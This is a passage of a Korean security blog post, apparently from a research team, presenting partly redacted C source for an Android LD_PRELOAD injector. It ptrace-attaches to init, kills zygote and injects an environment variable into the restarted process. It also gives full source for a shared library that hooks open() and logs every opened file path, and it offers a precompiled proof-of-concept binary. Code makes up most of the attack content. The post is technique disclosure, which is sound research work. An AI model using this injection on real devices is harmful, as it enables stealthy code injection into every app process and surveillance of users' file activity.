                        default:

                        break;

                        }

                } else {

                        break;

                }

        }

        return ret;

}

int doPunchLine(void)
{
        struct pt_regs regs;
        siginfo_t sig;
        int zygote_path_check = 0;
        char buf[128];
        int i, ret = -1;
        int zygote = 0;

        fprintf(stdout, "[*] Get the zygote pid..... ");
        if((zygote = get_zygote_pid()) < 0) {
                fprintf(stdout, "failed\n");
                return -1;
        }
        fprintf(stdout, "%d\n", zygote);

        if(PTRACE(PTRACE_ATTACH, init_pid, (void*)1, 0) < 0) {
                fprintf(stderr, "[!] PTRACE_ATTACH error\n");
                return -1;
        }

        fprintf(stdout, "[*] Attached the init process successfully: %d\n", init_pid);

        kill(zygote, SIGKILL);
        fprintf(stdout, "[*] Sending a SIGKILL signal to zygote\n");

        // XXX: tracing...
        while(1) {
....
> snip <
...
        }

failed:
        if(PTRACE(PTRACE_DETACH, init_pid, (void*)1, 0) < 0) {
                fprintf(stderr, "[!] PTRACE_DETACH error\n");
        }

        return ret;
}

int get_zygote_pid(void)
{
        char fname[64];
        char status[64];
        int i, zygote_pid;
        FILE *fp = NULL;

        zygote_pid = -1;

        for(i = 0; i < MAX_PROC_PID; i++) {
                snprintf(fname, sizeof(fname), "/proc/%d/status", i);
                if((fp = fopen(fname, "r")) == NULL)
                        continue;
                if(fgets(status, sizeof(status), fp) != NULL) {
                        if(strstr(status, "zygote") != NULL) {
                                zygote_pid = i;
                                fclose(fp);
                                break;
                        }
                }
                fclose(fp);
        }
        return zygote_pid;
}

int HerpoongIs0Per(int pid)
{
        void *environ, *mem, *sp, *init_sp, *data;
        int text, j, newdata, empty = 0;
        const char *add = EXTRA_ENVIRON;
        struct pt_regs regs;

        if(PTRACE(PTRACE_ATTACH, pid, (void*)1, 0) < 0) {
                fprintf(stderr, "[!] PTRACE_ATTACH error\n");
                return -1;
        }

        // XXX: Finding execve() syscall
        while(1) {
                if(PTRACE(PTRACE_GETREGS, pid, 0, &regs) < 0) {
                        fprintf(stderr, "[!] PTRACE_GETREGS error\n");
                        goto failed;
                }

                // XXX: execve() sys-call number is '11'
                if(SYSCALL_REGISTER(regs) == 11 && IP_REGISTER(regs) == 0) {
                        environ = (void*)ENV_REGISTER(regs);
                        fprintf(stdout, "[*] Environ: %p\n", environ);
                        break;
                }
                if(PTRACE(PTRACE_SYSCALL, pid, (void*)1, 0) < 0) {
                        fprintf(stderr, "[!] PTRACE_SYSCALL error\n");
                        goto failed;
                }

        }
...
> snip <
...
        if(PTRACE(PTRACE_DETACH, pid, NULL, NULL) < 0) {
                fprintf(stderr, "[!] PTRACE_DETACH error\n");
        }
failed:
        return 0;
}


int main(void)
{
        int new_zygote;

        signal(SIGINT, sigint);

        fprintf(stdout,
                "*****************************************************\n"
                "************ Android LD_PRELOAD Injector ************\n"
                "*****************************************************\n"
                "                Implemented by TeamCR@K in A3Security\n\n"
                "  Greetz to: 1ndr4, bash205, blpark, fr33p13, alrogia\n"
                "                              kgyoun4, maz3, rhaps0dy\n\n");

        if((new_zygote = doPunchLine()) != -1) {
                HerpoongIs0Per(new_zygote);
        }
        fprintf(stdout, "[*] Done\n");
        return 0;
}


악의적으로 사용될 수 있는 우려로 인해 전체 소스코드를 올리지 못하는 점 양해 부탁드립니다.

위 코드를 컴파일 하여 실행하면 다음과 같이 재시작된 zygote의 실행환경에서 특정 라이브러리가 적재되어 실행되는것을 볼 수 있습니다.


[그림 2] Injector 실행 전 zygote의 기본 환경변수


[그림 3] Injector 실행 후 재 시작된 zygote 프로세스에 적용된 LD_PRELOAD 환경변수


[그림 4] LD_PRELOAD에 의해 적재된 libopen.so 라이브러리가 정상적으로 동작한 화면


LD_PRELOAD로 로딩한 Shared Object의 소스코드는 다음과 같습니다.


/* libopen.c */

#include <stdio.h>

#include <stdlib.h>

#include <stdarg.h>

#include <unistd.h>

#include <dlfcn.h>


#define LIBC_PATH       "/system/lib/libc.so"

#define LOG_PATH        "/data/test/openhook.log"


static int (*orig_open)(const char *f, ...) = NULL;


int open(const char *f, ...)

{

        int fd = 0, flags = 0, mode = 0;

        void *dl = NULL;

        va_list args;

        FILE *fp = fopen(LOG_PATH, "a+");


        if(fp == NULL) fp = stdout;


        fprintf(fp, "[HOOK-LIB] Executed open() system call: %s\n", f);

        if((dl = dlopen(LIBC_PATH, RTLD_LAZY)) == NULL) {

                fprintf(fp, "[!] dlopen() function error.\n");

                return -1;

        }

        orig_open = dlsym(dl, "open");

        if(orig_open == NULL) {

                fprintf(fp, "[HOOK-LIB] dlsym() function error.\n");

                return -1;

        }

        va_start(args, f);

        flags = va_arg(args, int); // 2nd argument of open() syscall (flags)

        mode = va_arg(args, int); // 3rd argument of open() syscall (mode)

        va_end(args);

        if((fd = orig_open(f, flags, mode)) < 0) {

                fprintf(fp, "[HOOK-LIB] orig_open() function error: %s\n", f);

                return -1;

        }

        dlclose(dl);

        fclose(fp);

        return fd;

}


zygote 프로세스가 실행되는 시점에 환경변수를 추가하여 실행하는 형태의 인젝션 방식은 init.rc 파일을 손상시킬 우려가 없으며, 모바일 기기를 재시작하면 본래의 시스템 환경으로 동작하게 됩니다.

injector의 Full Source code를 올려드리지는 못하지만 특정 환경변수를 추가하여 zygote를 실행하도록 되어 있는 pre-compiled binary를 대신 올려드립니다.


god_daewoong-poc


위 바이너리를 실행하면 다음과 같이 특정이름의 환경변수가 추가되어 동작하는 zygote를 확인 하실 수 있습니다.


[그림 5] 테스트 injector 동작 화면


본 injector 프로그램은 루팅된 Android 버전에서 테스트 되었으며, 다음과 같은 디바이스 정보를 가진 기기에서 테스트 되었습니다.


[그림 6] 테스트 환경


감사합니다.

저작자 표시 비영리 변경 금지
신고


 

티스토리 툴바